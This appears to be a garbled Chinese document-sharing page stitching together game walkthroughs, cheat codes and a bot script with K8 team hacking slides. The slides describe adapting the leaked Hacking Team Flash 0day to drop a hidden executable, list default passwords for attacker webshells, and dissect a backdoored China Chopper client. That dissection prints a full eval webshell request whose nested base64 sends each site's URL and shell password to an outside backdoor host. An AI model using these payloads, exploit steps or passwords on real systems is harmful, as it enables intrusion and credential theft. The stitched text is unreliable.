钢炮（车载）?*卡拉东遗迹周边*?地面隐藏：220MM大地女神炮（车载左3上4）?*地狱门西村周边*?地面隐藏：225MM多头蛇炮（车载下4右17）地面隐藏：诺亚系统型（车载下23左3）*地狱门*?计算机：打开地狱门（输入261241后按OPEN）?*地狱门周边*?地面隐藏：所罗门2型（车载从地狱门左边出来是下19左9 从地狱门右边出来是下19左12）地面隐藏：205MM红牡丹炮（车载从地狱门左边出来是下31左13 从地狱门右边出来是下31左15）*地球救济中心*?1F?4台计算机需要ID卡R并且要输入4个密码 4台都OFF后中央控制台的门会打开右上519 982 右下542397 左下195874 左上793266 密码输入正确后表忘记按OFF?中央控制台有4台电脑可用上边ON（通往地下-16F的大门开关）左边OPEN（门口大铁门的开关）右边2台OFF（门口激光墙的开关这2台电脑是联机的只需OFF其中1台）? 木箱：太阳镜片?2F?电脑：密码793266 木箱：火箭筒木箱：DD菠萝弹木箱：回复饮剂抽屉：中和乳霜抽屉：全满饮剂抽屉：碱性喷雾剂?3F?电脑：密码519982（需要打开4F的电子门开关）木箱：能量胶囊木箱：装甲包L（车载）木箱：回复饮剂木箱：44大型左轮抽屉：研究工作笔记?4F?电子门开关：3F电子门的开关（需要ID卡R）电脑：密码195874 木箱：ID卡R 木箱：金属格斗装木箱：乌兹冲锋手枪衣柜：医师服抽屉：麻痹散?5F?木箱：增强卡门式（车载）木箱：龙息木箱：TNT弹连发箱抽屉：密码备忘录（记载着密码542397）?6F?8门巨炮（把它们沿轨道推下楼去吧）?-16F?木箱：1067G 木箱：装甲包L（车载）木箱：V100金刚式（车载）木箱：5177G?-17F?木箱：220MM大地女神炮（车载）木箱：1046G 木箱：暴雨气旋炮（车载）木箱：战斗指套?-18F?电子门开关：-17F电子门的开关?-17F流沙陷阱?地面隐藏：突击队战甲（上6左14 踩到石头上）地面隐藏：格斗手套（上6右12 踩到石头上）*地球救济中心周边*?地面隐藏：烈日中子炮（车载下1左4）地面隐藏：雷暴机关枪（车载右16）*帕鲁的狗洞周边*?地面隐藏：雷电加农炮（车载下21右10）战车问题：1号车主炮位:一个主炮?副炮位:一个副炮?S-E位:一个S-E?底盘极限防御244, ?2号车主炮位:没法开洞?副炮位:一个副炮?S-E位:一个主炮或一个S-E底盘极限防御202, （可以使用人类装备，建议给第3人用）3号车主炮位:一个主炮或一个S-E?副炮位:一个副炮或一个S-E?S-E位:二个副炮或二个S-E?底盘极限防御179, ?4号车主炮位:一个主炮或一个S-E?副炮位:一个副炮?S-E位:二个S-E?底盘极限防御274, 11T?5号车主炮位:一个主炮?副炮位:一个副炮?S-E位:一个副炮或一个S-E?底盘极限防御300, （战车底盘太重，防御不高，建议不要用。
流星蝴蝶剑命令大全
quit//一步退出（我叫他结束任务）
kick//踢人（小飞脚）
skick//踢人IP（大飞腿）
kill//服务器指定死亡（传说中的死亡之吻，汗~~~~~~~~~~~）
AI//人工智能（默认为地图脚本载入）
position//3D坐标
主机专用命令：
kick//踢人（小飞脚）
skick//踢人IP（大飞腿）
kill//服务器指定死亡（传说中的死亡之吻，汗~~~~~~~~~~~）
AI//人工智能（默认为地图脚本载入，官方战网禁用，局域网可用）
所有状态下命令：
fps//每秒动画桢数
mnet//数据传送情况？
==================================================================================================================
weapon X
:作用是可以随便改自己手中拿的武器！(可以在网络上用,想变什麼武器都可以)
:在坐标 X X X出现中招声音(莫名其妙)
==================================================================================================================
shows
:显示服务器IP (使用此命令会显示整个服务器的相关的一串IP，同时切断与主机的联系)
1[选人物0-19] 2[选队伍，0-2] 3[能自己攻击
==================================================================================================================
K8飞刀--Hacking Team Flash 0day漏洞利用
•
修改HT Flash 0day源码 注意修改画线部份 再把shellcode替换成bytearray格式
K8飞刀--Hacking Team Flash 0day漏洞利用
•
改成自动执行(要不然点击才触发) 然后编译Team Flash 0day漏洞利用
•
浏览flash 会释放一个隐藏文件ma.exe到桌面上f
K8飞刀--Hacking Team Flash 0day漏洞利用
•
视频 上线环境 WIN2008 R2 X64+IE8 XP系统 IE6 + Firefox 39 最新版 通通上线
谢谢观赏
K8搞基大队
搞基有害,但是健康。
@k8gege @k8team
Adobe Flash Player Extended Support Release 13.x Adobe Flash Player Extended Support Release 13.0.0.296 Adobe Flash Player for Linux 11.x Adobe Flash Player for Linux 11.2.202.468
Hacking Team Flash 0day漏洞利用
K8拉登哥哥
K8飞刀--Hacking Team Flash 0day漏洞利用
•
2015年7月初一家名为Hacking Team的意大利安全公司的服务器被黑，该公司400G的相关数据被泄漏到互联网上，这些数据 包括客户端文件、合同、财务报表等公司内部文件、源代码以及公司的电子邮件等。其中被泄漏的源代码中包括多个0day漏 洞的利用代码、高级远程控制软件的源代码和溢出转跳实现的实现代码等。 Adobe公司Flash Player产品的三个漏洞（CVE-2015-5119、CVE-2015-5122、CVE-2015-5123）也需要关注，这三个漏洞均源自 于Hacking Team泄漏资料里的0day漏洞，网络上已经检测到多起使用这些漏洞进行的大规模攻击。目前Adobe公司已经在最 新的版本（18.0.0.209）中修复了这些漏洞，用户应该尽快更新自己的Flash版本。
各类黑客大马默认密码后门
各类⿊客⼤马默认密码后门各类⿊客⼤马默认密码后门通过goole hack 语法搜索 incontent: xx⿊客留的后门⿊⽻基地免杀asp⼤马密码5201314Hacked By CHINA! 密码chinaAsp站长助⼿6.0 密码584521web综合安全评测 - Beta3 密码nohack未知数X 密码45189946baidu｝" 密码baidu路遥知马⼒密码123⿊客⽹站之家美化版密码chenxueThé、End.゛密码and QQ：913720787笑佛天下密码cnot西域⼩刚-站长助⼿-修改版本密码xxoxxXXXXX 密码rinima暗组超强功能修正去后门加强S-U提权版密码hkk007⿊客官⽅-长期提供⽹站⼊侵,密码破解数据库⼊侵密码chengnuoASPAdmin_A 密码"5556661221" '123456⽕狐ASP⽊马(超强版)" 密码wrsk⾬夜孤魂密码54321Dark Security Team 密码yuemo随风⾃由的泪密码jcksyes伟⼤的农民密码521mr.con asp⼩马密码*******JspX 密码4lert围剿专版密码yuemo或者5201314maek dream 密码hackerShell 密码xxxxx靈魂◆安全⼩组+" 密码10011C120105101银河安全⽹密码fclsharkASPXSpy 密码19880118Dark 密码376186027No Backdoor Webshell(⼑) 密码admin⿊勇⼠shell勇⼠版密码654321⼩武来了密码535039Evil sadness 密码adminF.S.T 联盟交流群内部版别外传噢密码000独⾃等待专⽤密码123windows 密码 123[D.s.T]会员专⽤WebShell 密码darkst我要进去' 密码jcksyesHacker'Rose 密码123456随风⾃由的泪密码jcksyesF.S.T 海盗内部版.!别外传噢。
重返德军总部作弊
在游戏的快捷方式上点右键选属性在快捷方式选项卡(另有常规和兼容性选项卡)里有个目标(T): X:\XXX\XXX.exe 就是游戏的程序在后面加上+set sv_cheats 1使框里变成X:\XXX\XXX.exe +set sv_cheats 1之后在游戏中就可以按下“~”开启控制台而输入以下的密码了：/god 无敌模式/notarget 敌人不会发动攻击/noclip 穿墙模式/give all 获得所有武器且弹药全满/mapname 获悉当前地图的名称/spdevmap mapname 直接跳到指定地图《重返德军总部》全攻略第一章第一部分开始是片头动画（布置任务，可按ESC跳过）。
监狱（动画，可按ESC跳过）。
捡了枪向右沿着通道走，上台阶，开铁门，杀那个拷问的军官。
右边铁门会跑来一个卫兵，杀！对面有补给。
上楼梯，对面有两个卫兵，杀！门的左侧有开关，按一下，门开了，直走右转，上楼梯，开门出来，到对面去，开门，杀一个卫兵。
向下走一层，开门是院子，杀两个卫兵。
下台阶，对面房间有补给。
返回到楼梯，一直走到最顶层，开门有个敌人，杀！下来一层，进右边门，杀军官，拿补给。
从破坏的窗口跳下去，杀一个卫兵。
上台阶，进左边门，杀一个军官，这时地板被打坏，可以看到下边有两个兵，杀！别忙跳下去，等一下，就看到下面房间的门开了，一个家伙推门进来，杀！跳下去开门，还有一个家伙，杀！走右侧通道，先进右侧门，杀一个卫兵。
再进左侧门，杀一个军官3个兵。
左侧有门，进去，转右，再转右，左侧房间有补给。
进对面门，往前走，过关！第一章第二部分先进右侧门，杀军官。
下台阶，杀3个卫兵。
下到平地，左侧房间有补给。
出来转左，下边一个卫兵，上边2个，杀！上楼梯，左面平台箱子后有一个，杀！从对面的台阶下去，进有红灯的门，向下走，走到尽头，杀一个军官，上台阶，进控制室，杀一个卫兵，扳控制开关（发黄光的）。
出来，右侧房间有补给。
返回，上楼梯出来，杀一个卫兵，进左侧黑门。
杀手13攻略
第一关：海滩脱险在海滩上，晕头晕脑，估计是刚逃出来的后遗症，被一个三点式ＭＭ救起，醒来时已在ＭＭ房中，正要动手动脚，一阵乱枪扫来，哇呀，ＭＭ就翘了，太可惜了！不过人家不是来捉奸的，是来Ｋ你的。
拿起ＭＭ旁边的匕首，左键放飞刀，右键是切菜，先让对面窗口的杀手尝尝什么叫小李飞刀，扔得好的话会有漂亮ＰＰ，接着转到后门，用同样办法干掉另一个，好了，暂时没危险了。
在房间里东翻西找，可拿到钥匙、手枪、子弹、红十字包，注意要会用红十字包，不然你捡到１００个也没用。
从前门出去，右拐有一间房子外面有红十字包。
一路冲杀，别浪费子弹打直升机，最多冒点烟。
有一艘船上有红十字包，干掉小车旁边的敌人后，在他身上拿到钥匙，就可以开车逃走过关。
如果还不想这么快上车的话，那就到处逛逛吧，每隔几分钟直升机会飞来，每次总扔下2个杀手，拿来练枪吧第二关：纽约银行别一开始就掏枪，银行员工对你很友好，交给左边电脑后面一个穿西装的家伙钥匙，他会开左边的门给你，刚才不让你进门的警卫就不吱声了。
进入地下保险库，直走到尽头，会有个白框框在发光，这个游戏真爽，每到关键地方就会出这个鬼东东。
打开保险柜，发现是定时炸弹，马上是回忆……这个ＭＭ的身材不错……眩晕的感觉一过去要马上跑开，如果你不想被炸掉一半血的话。
爆炸后发现进来的门被关上了，妈的，该死的西装鬼，看我出去怎么收拾你！从炸开的窟窿出去，在楼梯上会发现一名保安人员背对着你在检查电路，跑过去使两下空手道把他击倒，对了，注意在这关里不可以shoot银行员工，只可以玩玩空手道或者随便捡起什么东东就象拍苍蝇那样敲脑袋瓜。
顺路走，一路狂拍苍蝇，无路可走时注意看地下，可钻老鼠洞，晕！最后又看见一个漂亮ＭＭ，可以选择敲昏她，旁边有ＩＤ卡，也可以选择挟持她作人质（走到她的身后，你会发现准星变成了红色的手影，不是叫你非礼她，按一下确定键就是挟持她做人质，注意挟持她后再按一次确定键会把她打晕在地，还有挟持她的时候只能拿手枪或者飞刀，而且还不能换弹匣）。
土城除魔任务
执行对话("店小二","我要去雷炎洞穴","")
执行等待(1000)
执行对话("店小二","真的有这种套装？","")
执行等待(1000)
执行对话("店小二","正是，劳烦你送我过去吧","雷炎洞穴一层")
执行等待(3000)
结束
如果 地图名称=="雷炎洞穴一层" 那么
显示信息("部分任务难度大.选择重新接.请注意多带点金币.准备5个地牢.")
禁止攻击("禁止攻击.txt")
:标记<领取任务>
如果 地图文件~="3" 那么
显示信息("此脚本为未完成脚本,有些问题。使用包里请多准备点金币")
否则
模糊移动("3",328,335)
执行对话("每日任务使者","除魔任务","")
当前任务=""
显示信息("任务已经完成一轮了")
结束
结束
:标记<重新领取>
执行对话("每日任务使者","除魔任务","")
执行等待(1000)
执行对话("每日任务使者","重新领取任务","")
执行等待(1000)
执行对话("每日任务使者","重新领取任务","")
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
K8飞刀--解密"过狗菜刀"后门
•
0x001 打开菜刀 随便执行一个动作 使用Wsexplorer抓包(同类工具均可)
K8飞刀--解密"过狗菜刀"后门
• •
0x002 对提交的包进行解密 里面有很多百分号 我们先使用URL编码来解 如果执行动作中带有中文就使用 GB2312来解 全英文GB2312和UTF-8均可
谢谢观赏
K8搞基大队
搞基有害,但是健康。
@k8gege @k8team
பைடு நூலகம்
K8飞刀--解密"过狗菜刀"后门
•
0x003 解密后 我们会看到有两个参数都经过Base64加密 先解密z1
K8飞刀--解密"过狗菜刀"后门
•
0x004 解密z0
K8飞刀--解密"过狗菜刀"后门
• •
0x005 解密后发现z0参数里面 还有一层Base64加密 这是正常菜刀所没有的 肯定有问题,我们接着解密
K8飞刀--解密"过狗菜刀"后门
• • • •
最后 解密后 我们可以很清楚的看到 被人加入的后门地址 好一招螳螂捕蝉黄雀在后 后门地址 ：http://www.gooddog.in/Api.php 中间有被干过...目前还在运作... 本文以存在后门的过狗菜刀为例...大家要学会举一反三 更高明的作者加密更多或更隐蔽 建议大家使用工具时注意好几点 1 最好从官方下载 2 必须检测有无后门
解密"过狗菜刀"后门
K8拉登哥哥
K8飞刀--解密"过狗菜刀"后门
• •
菜刀通讯主要用到URL编码和Base64编码加密, 下面是是菜刀连接PHP一句话执行的动作之一 想看一款web渗透相关工具有无后门,我们就得抓包解密看它的代码里有无问题.
•
tom=%24_%3Dstrrev%28edoced_46esab%29%3B%40eval%28%24_%28%24_POST%5Bz0%5D%29%29%3B&z0=QGV2YWwoYmFzZT Y0X2RlY29kZSgnYVdZb0pGOURUMDlMU1VWYkoweDVhMlVuWFNFOU1TbDdjMlYwWTI5dmEybGxLQ2RNZVd0bEp5d3hLVHRBWm1s c1pTZ25hSFIwY0RvdkwzZDNkeTVuYjI5a1pHOW5MbWx1TDBGd2FTNXdhSEEvVlhKc1BTY3VKRjlUUlZKV1JWSmJKMGhVVkZCZlNFOVR WQ2RkTGlSZlUwVlNWa1ZTV3lkU1JWRlZSVk5VWDFWU1NTZGRMaWNtVUdGemN6MG5MbXRsZVNna1gxQlBVMVFwS1R0OScpKTtAa W5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCIwIik7QHNldF90aW1lX2xpbWl0KDApO0BzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7ZW NobygiLT58Iik7OyREPWJhc2U2NF9kZWNvZGUoJF9QT1NUWyJ6MSJdKTskRj1Ab3BlbmRpcigkRCk7aWYoJEY9PU5VTEwpe2VjaG8oIkVS Uk9SOi8vIFBhdGggTm90IEZvdW5kIE9yIE5vIFBlcm1pc3Npb24hIik7fWVsc2V7JE09TlVMTDskTD1OVUxMO3doaWxlKCROPUByZWFkZGl yKCRGKSl7JFA9JEQuIi8iLiROOyRUPUBkYXRlKCJZLW0tZCBIOmk6cyIsQGZpbGVtdGltZSgkUCkpO0AkRT1zdWJzdHIoYmFzZV9jb252ZXJ0K EBmaWxlcGVybXMoJFApLDEwLDgpLC00KTskUj0iXHQiLiRULiJcdCIuQGZpbGVzaXplKCRQKS4iXHQiLiRFLiIKIjtpZihAaXNfZGlyKCRQKSkkT S49JE4uIi8iLiRSO2Vsc2UgJEwuPSROLiRSO31lY2hvICRNLiRMO0BjbG9zZWRpcigkRik7fTtlY2hvKCJ8PC0iKTtkaWUoKTs%3D&z1=QzpcXEF BV1NlcnZlclxcd3d3XFxwaHBcXA%3D%3D